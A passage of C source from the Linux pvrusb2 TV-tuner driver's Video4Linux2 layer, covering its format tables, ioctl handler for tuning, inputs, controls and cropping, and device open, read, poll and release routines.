.capabilities = (V4L2_CAP_VIDEO_CAPTURE |
V4L2_CAP_TUNER | V4L2_CAP_AUDIO | V4L2_CAP_RADIO |
V4L2_CAP_READWRITE),
.reserved = {0,0,0,0}
};
static struct v4l2_fmtdesc pvr_fmtdesc [] = {
{
.index = 0,
.type = V4L2_BUF_TYPE_VIDEO_CAPTURE,
.flags = V4L2_FMT_FLAG_COMPRESSED,
.description = "MPEG1/2",
// This should really be V4L2_PIX_FMT_MPEG, but xawtv
// breaks when I do that.
.pixelformat = 0, // V4L2_PIX_FMT_MPEG,
.reserved = { 0, 0, 0, 0 }
}
};
#define PVR_FORMAT_PIX 0
#define PVR_FORMAT_VBI 1
static struct v4l2_format pvr_format [] = {
[PVR_FORMAT_PIX] = {
.type = V4L2_BUF_TYPE_VIDEO_CAPTURE,
.fmt = {
.pix = {
.width = 720,
.height = 576,
// This should really be V4L2_PIX_FMT_MPEG,
// but xawtv breaks when I do that.
.pixelformat = 0, // V4L2_PIX_FMT_MPEG,
.field = V4L2_FIELD_INTERLACED,
.bytesperline = 0, // doesn't make sense
// here
//FIXME : Don't know what to put here...
.sizeimage = (32*1024),
.colorspace = 0, // doesn't make sense here
.priv = 0
}
}
},
[PVR_FORMAT_VBI] = {
.type = V4L2_BUF_TYPE_VBI_CAPTURE,
.fmt = {
.vbi = {
.sampling_rate = 27000000,
.offset = 248,
.samples_per_line = 1443,
.sample_format = V4L2_PIX_FMT_GREY,
.start = { 0, 0 },
.count = { 0, 0 },
.flags = 0,
.reserved = { 0, 0 }
}
}
}
};
static const char *get_v4l_name(int v4l_type)
{
switch (v4l_type) {
case VFL_TYPE_GRABBER: return "video";
case VFL_TYPE_RADIO: return "radio";
case VFL_TYPE_VBI: return "vbi";
default: return "?";
}
}
/*
* pvr_ioctl()
*
* This is part of Video 4 Linux API. The procedure handles ioctl() calls.
*
*/
static long pvr2_v4l2_do_ioctl(struct file *file, unsigned int cmd, void *arg)
{
struct pvr2_v4l2_fh *fh = file->private_data;
struct pvr2_v4l2 *vp = fh->vhead;
struct pvr2_v4l2_dev *dev_info = fh->dev_info;
struct pvr2_hdw *hdw = fh->channel.mc_head->hdw;
long ret = -EINVAL;
if (pvrusb2_debug & PVR2_TRACE_V4LIOCTL) {
v4l_print_ioctl(pvr2_hdw_get_driver_name(hdw),cmd);
}
if (!pvr2_hdw_dev_ok(hdw)) {
pvr2_trace(PVR2_TRACE_ERROR_LEGS,
"ioctl failed - bad or no context");
return -EFAULT;
}
/* check priority */
switch (cmd) {
case VIDIOC_S_CTRL:
case VIDIOC_S_STD:
case VIDIOC_S_INPUT:
case VIDIOC_S_TUNER:
case VIDIOC_S_FREQUENCY:
ret = v4l2_prio_check(&vp->prio, &fh->prio);
if (ret)
return ret;
}
switch (cmd) {
case VIDIOC_QUERYCAP:
{
struct v4l2_capability *cap = arg;
memcpy(cap, &pvr_capability, sizeof(struct v4l2_capability));
strlcpy(cap->bus_info,pvr2_hdw_get_bus_info(hdw),
sizeof(cap->bus_info));
strlcpy(cap->card,pvr2_hdw_get_desc(hdw),sizeof(cap->card));
ret = 0;
break;
}
case VIDIOC_G_PRIORITY:
{
enum v4l2_priority *p = arg;
*p = v4l2_prio_max(&vp->prio);
ret = 0;
break;
}
case VIDIOC_S_PRIORITY:
{
enum v4l2_priority *prio = arg;
ret = v4l2_prio_change(&vp->prio, &fh->prio, *prio);
break;
}
case VIDIOC_ENUMSTD:
{
struct v4l2_standard *vs = (struct v4l2_standard *)arg;
int idx = vs->index;
ret = pvr2_hdw_get_stdenum_value(hdw,vs,idx+1);
break;
}
case VIDIOC_G_STD:
{
int val = 0;
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_STDCUR),&val);
*(v4l2_std_id *)arg = val;
break;
}
case VIDIOC_S_STD:
{
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_STDCUR),
*(v4l2_std_id *)arg);
break;
}
case VIDIOC_ENUMINPUT:
{
struct pvr2_ctrl *cptr;
struct v4l2_input *vi = (struct v4l2_input *)arg;
struct v4l2_input tmp;
unsigned int cnt;
int val;
cptr = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT);
memset(&tmp,0,sizeof(tmp));
tmp.index = vi->index;
ret = 0;
if (vi->index >= fh->input_cnt) {
ret = -EINVAL;
break;
}
val = fh->input_map[vi->index];
switch (val) {
case PVR2_CVAL_INPUT_TV:
case PVR2_CVAL_INPUT_DTV:
case PVR2_CVAL_INPUT_RADIO:
tmp.type = V4L2_INPUT_TYPE_TUNER;
break;
case PVR2_CVAL_INPUT_SVIDEO:
case PVR2_CVAL_INPUT_COMPOSITE:
tmp.type = V4L2_INPUT_TYPE_CAMERA;
break;
default:
ret = -EINVAL;
break;
}
if (ret < 0) break;
cnt = 0;
pvr2_ctrl_get_valname(cptr,val,
tmp.name,sizeof(tmp.name)-1,&cnt);
tmp.name[cnt] = 0;
/* Don't bother with audioset, since this driver currently
always switches the audio whenever the video is
switched. */
/* Handling std is a tougher problem. It doesn't make
sense in cases where a device might be multi-standard.
We could just copy out the current value for the
standard, but it can change over time. For now just
leave it zero. */
memcpy(vi, &tmp, sizeof(tmp));
ret = 0;
break;
}
case VIDIOC_G_INPUT:
{
unsigned int idx;
struct pvr2_ctrl *cptr;
struct v4l2_input *vi = (struct v4l2_input *)arg;
int val;
cptr = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT);
val = 0;
ret = pvr2_ctrl_get_value(cptr,&val);
vi->index = 0;
for (idx = 0; idx < fh->input_cnt; idx++) {
if (fh->input_map[idx] == val) {
vi->index = idx;
break;
}
}
break;
}
case VIDIOC_S_INPUT:
{
struct v4l2_input *vi = (struct v4l2_input *)arg;
if (vi->index >= fh->input_cnt) {
ret = -ERANGE;
break;
}
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT),
fh->input_map[vi->index]);
break;
}
case VIDIOC_ENUMAUDIO:
{
/* pkt: FIXME: We are returning one "fake" input here
which could very well be called "whatever_we_like".
This is for apps that want to see an audio input
just to feel comfortable, as well as to test if
it can do stereo or sth. There is actually no guarantee
that the actual audio input cannot change behind the app's
back, but most applications should not mind that either.
Hopefully, mplayer people will work with us on this (this
whole mess is to support mplayer pvr://), or Hans will come
up with a more standard way to say "we have inputs but we
don 't want you to change them independent of video" which
will sort this mess.
*/
struct v4l2_audio *vin = arg;
ret = -EINVAL;
if (vin->index > 0) break;
strncpy(vin->name, "PVRUSB2 Audio",14);
vin->capability = V4L2_AUDCAP_STEREO;
ret = 0;
break;
break;
}
case VIDIOC_G_AUDIO:
{
/* pkt: FIXME: see above comment (VIDIOC_ENUMAUDIO) */
struct v4l2_audio *vin = arg;
memset(vin,0,sizeof(*vin));
vin->index = 0;
strncpy(vin->name, "PVRUSB2 Audio",14);
vin->capability = V4L2_AUDCAP_STEREO;
ret = 0;
break;
}
case VIDIOC_S_AUDIO:
{
ret = -EINVAL;
break;
}
case VIDIOC_G_TUNER:
{
struct v4l2_tuner *vt = (struct v4l2_tuner *)arg;
if (vt->index != 0) break; /* Only answer for the 1st tuner */
pvr2_hdw_execute_tuner_poll(hdw);
ret = pvr2_hdw_get_tuner_status(hdw,vt);
break;
}
case VIDIOC_S_TUNER:
{
struct v4l2_tuner *vt=(struct v4l2_tuner *)arg;
if (vt->index != 0)
break;
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_AUDIOMODE),
vt->audmode);
break;
}
case VIDIOC_S_FREQUENCY:
{
const struct v4l2_frequency *vf = (struct v4l2_frequency *)arg;
unsigned long fv;
struct v4l2_tuner vt;
int cur_input;
struct pvr2_ctrl *ctrlp;
ret = pvr2_hdw_get_tuner_status(hdw,&vt);
if (ret != 0) break;
ctrlp = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT);
ret = pvr2_ctrl_get_value(ctrlp,&cur_input);
if (ret != 0) break;
if (vf->type == V4L2_TUNER_RADIO) {
if (cur_input != PVR2_CVAL_INPUT_RADIO) {
pvr2_ctrl_set_value(ctrlp,
PVR2_CVAL_INPUT_RADIO);
}
} else {
if (cur_input == PVR2_CVAL_INPUT_RADIO) {
pvr2_ctrl_set_value(ctrlp,
PVR2_CVAL_INPUT_TV);
}
}
fv = vf->frequency;
if (vt.capability & V4L2_TUNER_CAP_LOW) {
fv = (fv * 125) / 2;
} else {
fv = fv * 62500;
}
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_FREQUENCY),fv);
break;
}
case VIDIOC_G_FREQUENCY:
{
struct v4l2_frequency *vf = (struct v4l2_frequency *)arg;
int val = 0;
int cur_input;
struct v4l2_tuner vt;
ret = pvr2_hdw_get_tuner_status(hdw,&vt);
if (ret != 0) break;
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_FREQUENCY),
&val);
if (ret != 0) break;
pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_INPUT),
&cur_input);
if (cur_input == PVR2_CVAL_INPUT_RADIO) {
vf->type = V4L2_TUNER_RADIO;
} else {
vf->type = V4L2_TUNER_ANALOG_TV;
}
if (vt.capability & V4L2_TUNER_CAP_LOW) {
val = (val * 2) / 125;
} else {
val /= 62500;
}
vf->frequency = val;
break;
}
case VIDIOC_ENUM_FMT:
{
struct v4l2_fmtdesc *fd = (struct v4l2_fmtdesc *)arg;
/* Only one format is supported : mpeg.*/
if (fd->index != 0)
break;
memcpy(fd, pvr_fmtdesc, sizeof(struct v4l2_fmtdesc));
ret = 0;
break;
}
case VIDIOC_G_FMT:
{
struct v4l2_format *vf = (struct v4l2_format *)arg;
int val;
switch(vf->type) {
case V4L2_BUF_TYPE_VIDEO_CAPTURE:
memcpy(vf, &pvr_format[PVR_FORMAT_PIX],
sizeof(struct v4l2_format));
val = 0;
pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_HRES),
&val);
vf->fmt.pix.width = val;
val = 0;
pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_VRES),
&val);
vf->fmt.pix.height = val;
ret = 0;
break;
case V4L2_BUF_TYPE_VBI_CAPTURE:
// ????? Still need to figure out to do VBI correctly
ret = -EINVAL;
break;
default:
ret = -EINVAL;
break;
}
break;
}
case VIDIOC_TRY_FMT:
case VIDIOC_S_FMT:
{
struct v4l2_format *vf = (struct v4l2_format *)arg;
ret = 0;
switch(vf->type) {
case V4L2_BUF_TYPE_VIDEO_CAPTURE: {
int lmin,lmax,ldef;
struct pvr2_ctrl *hcp,*vcp;
int h = vf->fmt.pix.height;
int w = vf->fmt.pix.width;
hcp = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_HRES);
vcp = pvr2_hdw_get_ctrl_by_id(hdw,PVR2_CID_VRES);
lmin = pvr2_ctrl_get_min(hcp);
lmax = pvr2_ctrl_get_max(hcp);
pvr2_ctrl_get_def(hcp, &ldef);
if (w == -1) {
w = ldef;
} else if (w < lmin) {
w = lmin;
} else if (w > lmax) {
w = lmax;
}
lmin = pvr2_ctrl_get_min(vcp);
lmax = pvr2_ctrl_get_max(vcp);
pvr2_ctrl_get_def(vcp, &ldef);
if (h == -1) {
h = ldef;
} else if (h < lmin) {
h = lmin;
} else if (h > lmax) {
h = lmax;
}
memcpy(vf, &pvr_format[PVR_FORMAT_PIX],
sizeof(struct v4l2_format));
vf->fmt.pix.width = w;
vf->fmt.pix.height = h;
if (cmd == VIDIOC_S_FMT) {
pvr2_ctrl_set_value(hcp,vf->fmt.pix.width);
pvr2_ctrl_set_value(vcp,vf->fmt.pix.height);
}
} break;
case V4L2_BUF_TYPE_VBI_CAPTURE:
// ????? Still need to figure out to do VBI correctly
ret = -EINVAL;
break;
default:
ret = -EINVAL;
break;
}
break;
}
case VIDIOC_STREAMON:
{
if (!fh->dev_info->stream) {
/* No stream defined for this node. This means
that we're not currently allowed to stream from
this node. */
ret = -EPERM;
break;
}
ret = pvr2_hdw_set_stream_type(hdw,dev_info->config);
if (ret < 0) return ret;
ret = pvr2_hdw_set_streaming(hdw,!0);
break;
}
case VIDIOC_STREAMOFF:
{
if (!fh->dev_info->stream) {
/* No stream defined for this node. This means
that we're not currently allowed to stream from
this node. */
ret = -EPERM;
break;
}
ret = pvr2_hdw_set_streaming(hdw,0);
break;
}
case VIDIOC_QUERYCTRL:
{
struct pvr2_ctrl *cptr;
int val;
struct v4l2_queryctrl *vc = (struct v4l2_queryctrl *)arg;
ret = 0;
if (vc->id & V4L2_CTRL_FLAG_NEXT_CTRL) {
cptr = pvr2_hdw_get_ctrl_nextv4l(
hdw,(vc->id & ~V4L2_CTRL_FLAG_NEXT_CTRL));
if (cptr) vc->id = pvr2_ctrl_get_v4lid(cptr);
} else {
cptr = pvr2_hdw_get_ctrl_v4l(hdw,vc->id);
}
if (!cptr) {
pvr2_trace(PVR2_TRACE_V4LIOCTL,
"QUERYCTRL id=0x%x not implemented here",
vc->id);
ret = -EINVAL;
break;
}
pvr2_trace(PVR2_TRACE_V4LIOCTL,
"QUERYCTRL id=0x%x mapping name=%s (%s)",
vc->id,pvr2_ctrl_get_name(cptr),
pvr2_ctrl_get_desc(cptr));
strlcpy(vc->name,pvr2_ctrl_get_desc(cptr),sizeof(vc->name));
vc->flags = pvr2_ctrl_get_v4lflags(cptr);
pvr2_ctrl_get_def(cptr, &val);
vc->default_value = val;
switch (pvr2_ctrl_get_type(cptr)) {
case pvr2_ctl_enum:
vc->type = V4L2_CTRL_TYPE_MENU;
vc->minimum = 0;
vc->maximum = pvr2_ctrl_get_cnt(cptr) - 1;
vc->step = 1;
break;
case pvr2_ctl_bool:
vc->type = V4L2_CTRL_TYPE_BOOLEAN;
vc->minimum = 0;
vc->maximum = 1;
vc->step = 1;
break;
case pvr2_ctl_int:
vc->type = V4L2_CTRL_TYPE_INTEGER;
vc->minimum = pvr2_ctrl_get_min(cptr);
vc->maximum = pvr2_ctrl_get_max(cptr);
vc->step = 1;
break;
default:
pvr2_trace(PVR2_TRACE_V4LIOCTL,
"QUERYCTRL id=0x%x name=%s not mappable",
vc->id,pvr2_ctrl_get_name(cptr));
ret = -EINVAL;
break;
}
break;
}
case VIDIOC_QUERYMENU:
{
struct v4l2_querymenu *vm = (struct v4l2_querymenu *)arg;
unsigned int cnt = 0;
ret = pvr2_ctrl_get_valname(pvr2_hdw_get_ctrl_v4l(hdw,vm->id),
vm->index,
vm->name,sizeof(vm->name)-1,
&cnt);
vm->name[cnt] = 0;
break;
}
case VIDIOC_G_CTRL:
{
struct v4l2_control *vc = (struct v4l2_control *)arg;
int val = 0;
ret = pvr2_ctrl_get_value(pvr2_hdw_get_ctrl_v4l(hdw,vc->id),
&val);
vc->value = val;
break;
}
case VIDIOC_S_CTRL:
{
struct v4l2_control *vc = (struct v4l2_control *)arg;
ret = pvr2_ctrl_set_value(pvr2_hdw_get_ctrl_v4l(hdw,vc->id),
vc->value);
break;
}
case VIDIOC_G_EXT_CTRLS:
{
struct v4l2_ext_controls *ctls =
(struct v4l2_ext_controls *)arg;
struct v4l2_ext_control *ctrl;
unsigned int idx;
int val;
ret = 0;
for (idx = 0; idx < ctls->count; idx++) {
ctrl = ctls->controls + idx;
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_v4l(hdw,ctrl->id),&val);
if (ret) {
ctls->error_idx = idx;
break;
}
/* Ensure that if read as a 64 bit value, the user
will still get a hopefully sane value */
ctrl->value64 = 0;
ctrl->value = val;
}
break;
}
case VIDIOC_S_EXT_CTRLS:
{
struct v4l2_ext_controls *ctls =
(struct v4l2_ext_controls *)arg;
struct v4l2_ext_control *ctrl;
unsigned int idx;
ret = 0;
for (idx = 0; idx < ctls->count; idx++) {
ctrl = ctls->controls + idx;
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_v4l(hdw,ctrl->id),
ctrl->value);
if (ret) {
ctls->error_idx = idx;
break;
}
}
break;
}
case VIDIOC_TRY_EXT_CTRLS:
{
struct v4l2_ext_controls *ctls =
(struct v4l2_ext_controls *)arg;
struct v4l2_ext_control *ctrl;
struct pvr2_ctrl *pctl;
unsigned int idx;
/* For the moment just validate that the requested control
actually exists. */
ret = 0;
for (idx = 0; idx < ctls->count; idx++) {
ctrl = ctls->controls + idx;
pctl = pvr2_hdw_get_ctrl_v4l(hdw,ctrl->id);
if (!pctl) {
ret = -EINVAL;
ctls->error_idx = idx;
break;
}
}
break;
}
case VIDIOC_CROPCAP:
{
struct v4l2_cropcap *cap = (struct v4l2_cropcap *)arg;
if (cap->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) {
ret = -EINVAL;
break;
}
ret = pvr2_hdw_get_cropcap(hdw, cap);
cap->type = V4L2_BUF_TYPE_VIDEO_CAPTURE; /* paranoia */
break;
}
case VIDIOC_G_CROP:
{
struct v4l2_crop *crop = (struct v4l2_crop *)arg;
int val = 0;
if (crop->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) {
ret = -EINVAL;
break;
}
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPL), &val);
if (ret != 0) {
ret = -EINVAL;
break;
}
crop->c.left = val;
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPT), &val);
if (ret != 0) {
ret = -EINVAL;
break;
}
crop->c.top = val;
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPW), &val);
if (ret != 0) {
ret = -EINVAL;
break;
}
crop->c.width = val;
ret = pvr2_ctrl_get_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPH), &val);
if (ret != 0) {
ret = -EINVAL;
break;
}
crop->c.height = val;
}
case VIDIOC_S_CROP:
{
struct v4l2_crop *crop = (struct v4l2_crop *)arg;
struct v4l2_cropcap cap;
if (crop->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) {
ret = -EINVAL;
break;
}
cap.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPL),
crop->c.left);
if (ret != 0) {
ret = -EINVAL;
break;
}
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPT),
crop->c.top);
if (ret != 0) {
ret = -EINVAL;
break;
}
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPW),
crop->c.width);
if (ret != 0) {
ret = -EINVAL;
break;
}
ret = pvr2_ctrl_set_value(
pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPH),
crop->c.height);
if (ret != 0) {
ret = -EINVAL;
break;
}
}
case VIDIOC_LOG_STATUS:
{
pvr2_hdw_trigger_module_log(hdw);
ret = 0;
break;
}
#ifdef CONFIG_VIDEO_ADV_DEBUG
case VIDIOC_DBG_S_REGISTER:
case VIDIOC_DBG_G_REGISTER:
{
u64 val;
struct v4l2_dbg_register *req = (struct v4l2_dbg_register *)arg;
if (cmd == VIDIOC_DBG_S_REGISTER) val = req->val;
ret = pvr2_hdw_register_access(
hdw, &req->match, req->reg,
cmd == VIDIOC_DBG_S_REGISTER, &val);
if (cmd == VIDIOC_DBG_G_REGISTER) req->val = val;
break;
}
#endif
default :
ret = v4l_compat_translate_ioctl(file, cmd,
arg, pvr2_v4l2_do_ioctl);
}
pvr2_hdw_commit_ctl(hdw);
if (ret < 0) {
if (pvrusb2_debug & PVR2_TRACE_V4LIOCTL) {
pvr2_trace(PVR2_TRACE_V4LIOCTL,
"pvr2_v4l2_do_ioctl failure, ret=%ld", ret);
} else {
if (pvrusb2_debug & PVR2_TRACE_V4LIOCTL) {
pvr2_trace(PVR2_TRACE_V4LIOCTL,
"pvr2_v4l2_do_ioctl failure, ret=%ld"
" command was:", ret);
v4l_print_ioctl(pvr2_hdw_get_driver_name(hdw),
cmd);
}
}
} else {
pvr2_trace(PVR2_TRACE_V4LIOCTL,
"pvr2_v4l2_do_ioctl complete, ret=%ld (0x%lx)",
ret, ret);
}
return ret;
}
static void pvr2_v4l2_dev_destroy(struct pvr2_v4l2_dev *dip)
{
int num = dip->devbase.num;
struct pvr2_hdw *hdw = dip->v4lp->channel.mc_head->hdw;
enum pvr2_config cfg = dip->config;
int v4l_type = dip->v4l_type;
pvr2_hdw_v4l_store_minor_number(hdw,dip->minor_type,-1);
/* Paranoia */
dip->v4lp = NULL;
dip->stream = NULL;
/* Actual deallocation happens later when all internal references
are gone. */
video_unregister_device(&dip->devbase);
printk(KERN_INFO "pvrusb2: unregistered device %s%u [%s]\n",
get_v4l_name(v4l_type), num,
pvr2_config_get_name(cfg));
}
static void pvr2_v4l2_destroy_no_lock(struct pvr2_v4l2 *vp)
{
if (vp->dev_video) {
pvr2_v4l2_dev_destroy(vp->dev_video);
vp->dev_video = NULL;
}
if (vp->dev_radio) {
pvr2_v4l2_dev_destroy(vp->dev_radio);
vp->dev_radio = NULL;
}
pvr2_trace(PVR2_TRACE_STRUCT,"Destroying pvr2_v4l2 id=%p",vp);
pvr2_channel_done(&vp->channel);
kfree(vp);
}
static void pvr2_video_device_release(struct video_device *vdev)
{
struct pvr2_v4l2_dev *dev;
dev = container_of(vdev,struct pvr2_v4l2_dev,devbase);
kfree(dev);
}
static void pvr2_v4l2_internal_check(struct pvr2_channel *chp)
{
struct pvr2_v4l2 *vp;
vp = container_of(chp,struct pvr2_v4l2,channel);
if (!vp->channel.mc_head->disconnect_flag) return;
if (vp->vfirst) return;
pvr2_v4l2_destroy_no_lock(vp);
}
static long pvr2_v4l2_ioctl(struct file *file,
unsigned int cmd, unsigned long arg)
{
return video_usercopy(file, cmd, arg, pvr2_v4l2_do_ioctl);
}
static int pvr2_v4l2_release(struct file *file)
{
struct pvr2_v4l2_fh *fhp = file->private_data;
struct pvr2_v4l2 *vp = fhp->vhead;
struct pvr2_hdw *hdw = fhp->channel.mc_head->hdw;
pvr2_trace(PVR2_TRACE_OPEN_CLOSE,"pvr2_v4l2_release");
if (fhp->rhp) {
struct pvr2_stream *sp;
pvr2_hdw_set_streaming(hdw,0);
sp = pvr2_ioread_get_stream(fhp->rhp);
if (sp) pvr2_stream_set_callback(sp,NULL,NULL);
pvr2_ioread_destroy(fhp->rhp);
fhp->rhp = NULL;
}
v4l2_prio_close(&vp->prio, &fhp->prio);
file->private_data = NULL;
if (fhp->vnext) {
fhp->vnext->vprev = fhp->vprev;
} else {
vp->vlast = fhp->vprev;
}
if (fhp->vprev) {
fhp->vprev->vnext = fhp->vnext;
} else {
vp->vfirst = fhp->vnext;
}
fhp->vnext = NULL;
fhp->vprev = NULL;
fhp->vhead = NULL;
pvr2_channel_done(&fhp->channel);
pvr2_trace(PVR2_TRACE_STRUCT,
"Destroying pvr_v4l2_fh id=%p",fhp);
if (fhp->input_map) {
kfree(fhp->input_map);
fhp->input_map = NULL;
}
kfree(fhp);
if (vp->channel.mc_head->disconnect_flag && !vp->vfirst) {
pvr2_v4l2_destroy_no_lock(vp);
}
return 0;
}
static int pvr2_v4l2_open(struct file *file)
{
struct pvr2_v4l2_dev *dip; /* Our own context pointer */
struct pvr2_v4l2_fh *fhp;
struct pvr2_v4l2 *vp;
struct pvr2_hdw *hdw;
unsigned int input_mask = 0;
unsigned int input_cnt,idx;
int ret = 0;
dip = container_of(video_devdata(file),struct pvr2_v4l2_dev,devbase);
vp = dip->v4lp;
hdw = vp->channel.hdw;
pvr2_trace(PVR2_TRACE_OPEN_CLOSE,"pvr2_v4l2_open");
if (!pvr2_hdw_dev_ok(hdw)) {
pvr2_trace(PVR2_TRACE_OPEN_CLOSE,
"pvr2_v4l2_open: hardware not ready");
return -EIO;
}
fhp = kzalloc(sizeof(*fhp),GFP_KERNEL);
if (!fhp) {
return -ENOMEM;
}
init_waitqueue_head(&fhp->wait_data);
fhp->dev_info = dip;
pvr2_trace(PVR2_TRACE_STRUCT,"Creating pvr_v4l2_fh id=%p",fhp);
pvr2_channel_init(&fhp->channel,vp->channel.mc_head);
if (dip->v4l_type == VFL_TYPE_RADIO) {
/* Opening device as a radio, legal input selection subset
is just the radio. */
input_mask = (1 << PVR2_CVAL_INPUT_RADIO);
} else {
/* Opening the main V4L device, legal input selection
subset includes all analog inputs. */
input_mask = ((1 << PVR2_CVAL_INPUT_RADIO) |
(1 << PVR2_CVAL_INPUT_TV) |
(1 << PVR2_CVAL_INPUT_COMPOSITE) |
(1 << PVR2_CVAL_INPUT_SVIDEO));
}
ret = pvr2_channel_limit_inputs(&fhp->channel,input_mask);
if (ret) {
pvr2_channel_done(&fhp->channel);
pvr2_trace(PVR2_TRACE_STRUCT,
"Destroying pvr_v4l2_fh id=%p (input mask error)",
fhp);
kfree(fhp);
return ret;
}
input_mask &= pvr2_hdw_get_input_available(hdw);
input_cnt = 0;
for (idx = 0; idx < (sizeof(input_mask) << 3); idx++) {
if (input_mask & (1 << idx)) input_cnt++;
}
fhp->input_cnt = input_cnt;
fhp->input_map = kzalloc(input_cnt,GFP_KERNEL);
if (!fhp->input_map) {
pvr2_channel_done(&fhp->channel);
pvr2_trace(PVR2_TRACE_STRUCT,
"Destroying pvr_v4l2_fh id=%p (input map failure)",
fhp);
kfree(fhp);
return -ENOMEM;
}
input_cnt = 0;
for (idx = 0; idx < (sizeof(input_mask) << 3); idx++) {
if (!(input_mask & (1 << idx))) continue;
fhp->input_map[input_cnt++] = idx;
}
fhp->vnext = NULL;
fhp->vprev = vp->vlast;
if (vp->vlast) {
vp->vlast->vnext = fhp;
} else {
vp->vfirst = fhp;
}
vp->vlast = fhp;
fhp->vhead = vp;
fhp->file = file;
file->private_data = fhp;
v4l2_prio_open(&vp->prio,&fhp->prio);
fhp->fw_mode_flag = pvr2_hdw_cpufw_get_enabled(hdw);
return 0;
}
static void pvr2_v4l2_notify(struct pvr2_v4l2_fh *fhp)
{
wake_up(&fhp->wait_data);
}
static int pvr2_v4l2_iosetup(struct pvr2_v4l2_fh *fh)
{
int ret;
struct pvr2_stream *sp;
struct pvr2_hdw *hdw;
if (fh->rhp) return 0;
if (!fh->dev_info->stream) {
/* No stream defined for this node. This means that we're
not currently allowed to stream from this node. */
return -EPERM;
}
/* First read() attempt. Try to claim the stream and start
it... */
if ((ret = pvr2_channel_claim_stream(&fh->channel,
fh->dev_info->stream)) != 0) {
/* Someone else must already have it */
return ret;
}
fh->rhp = pvr2_channel_create_mpeg_stream(fh->dev_info->stream);
if (!fh->rhp) {
pvr2_channel_claim_stream(&fh->channel,NULL);
return -ENOMEM;
}
hdw = fh->channel.mc_head->hdw;
sp = fh->dev_info->stream->stream;
pvr2_stream_set_callback(sp,(pvr2_stream_callback)pvr2_v4l2_notify,fh);
pvr2_hdw_set_stream_type(hdw,fh->dev_info->config);
if ((ret = pvr2_hdw_set_streaming(hdw,!0)) < 0) return ret;
return pvr2_ioread_set_enabled(fh->rhp,!0);
}
static ssize_t pvr2_v4l2_read(struct file *file,
char __user *buff, size_t count, loff_t *ppos)
{
struct pvr2_v4l2_fh *fh = file->private_data;
int ret;
if (fh->fw_mode_flag) {
struct pvr2_hdw *hdw = fh->channel.mc_head->hdw;
char *tbuf;
int c1,c2;
int tcnt = 0;
unsigned int offs = *ppos;
tbuf = kmalloc(PAGE_SIZE,GFP_KERNEL);
if (!tbuf) return -ENOMEM;
while (count) {
c1 = count;
if (c1 > PAGE_SIZE) c1 = PAGE_SIZE;
c2 = pvr2_hdw_cpufw_get(hdw,offs,tbuf,c1);
if (c2 < 0) {
tcnt = c2;
break;
}
if (!c2) break;
if (copy_to_user(buff,tbuf,c2)) {
tcnt = -EFAULT;
break;
}
offs += c2;
tcnt += c2;
buff += c2;
count -= c2;
*ppos += c2;
}
kfree(tbuf);
return tcnt;
}
if (!fh->rhp) {
ret = pvr2_v4l2_iosetup(fh);
if (ret) {
return ret;
}
}
for (;;) {
ret = pvr2_ioread_read(fh->rhp,buff,count);
if (ret >= 0) break;
if (ret != -EAGAIN) break;
if (file->f_flags & O_NONBLOCK) break;
/* Doing blocking I/O. Wait here. */
ret = wait_event_interruptible(
fh->wait_data,
pvr2_ioread_avail(fh->rhp) >= 0);
if (ret < 0) break;
}
return ret;
}
static unsigned int pvr2_v4l2_poll(struct file *file, poll_table *wait)
{
unsigned int mask = 0;
struct pvr2_v4l2_fh *fh = file->private_data;
int ret;
if (fh->fw_mode_flag) {
mask |= POLLIN | POLLRDNORM;
return mask;
}
if (!fh->rhp) {
ret = pvr2_v4l2_iosetup(fh);
if (ret) return POLLERR;
}
poll_wait(file,&fh->wait_data,wait);
if (pvr2_ioread_avail(fh->rhp) >= 0) {
mask |= POLLIN | POLLRDNORM;
}
return mask;
}
static const struct v4l2_file_operations vdev_fops = {
.owner = THIS_MODULE,
.open = pvr2_v4l2_open,
.release = pvr2_v4l2_release,
.read = pvr2_v4l2_read,
.ioctl = pvr2_v4l2_ioctl,
.poll = pvr2_v4l2_poll,
};
static struct video_device vdev_template = {
.fops = &vdev_fops,
};
static void pvr2_v4l2_dev_init(struct pvr2_v4l2_dev *dip,
struct pvr2_v4l2 *vp,
int v4l_type)
{
int mindevnum;
int unit_number;
int *nr_ptr = NULL;
dip->v4lp = vp;
dip->v4l_type = v4l_type;
switch (v4l_type) {
case VFL_TYPE_GRABBER:
dip->stream = &vp->channel.mc_head->video_stream;
dip->config = pvr2_config_mpeg;
dip->minor_type = pvr2_v4l_type_video;
nr_ptr = video_nr;
